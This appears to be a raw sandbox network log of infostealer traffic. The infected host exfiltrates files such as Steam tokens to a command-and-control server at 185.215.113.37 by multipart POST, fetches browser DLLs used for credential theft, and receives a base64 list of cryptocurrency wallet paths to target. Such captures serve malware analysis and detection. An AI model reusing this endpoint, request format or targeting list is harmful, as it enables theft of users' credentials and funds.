43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file"------JKJDAEBFCBKECBGDBFCF--
Oct 8, 2024 03:22:11.161988020 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:12.573196888 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="file"------DGHCBAAEHCFIDGDHJEHC--
Oct 8, 2024 03:22:13.276387930 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:14.663382053 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:14.886001110 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 03:22:15.697441101 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:15.914864063 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 03:22:16.396466017 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:16.622184992 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 03:22:17.868662119 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:18.277767897 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 03:22:19.959409952 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:20.178024054 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 03:22:20.497704983 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 03:22:20.714735985 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 03:22:21.199078083 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 03:22:22.076143980 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:22.123080969 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"wallets------HIJEGDBGDBFIJKECBAKF--
Oct 8, 2024 03:22:22.360687017 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:22 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 8, 2024 03:22:22.364006996 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"files------GIJJKKJJDAAAAAKFHJJD--
Oct 8, 2024 03:22:22.611226082 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:22.640122890 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Oct 8, 2024 03:22:23.415143967 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:22:23.442950964 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="message"ybncbhylepme------CBKJKJDBFIIDHJKEHJEH--
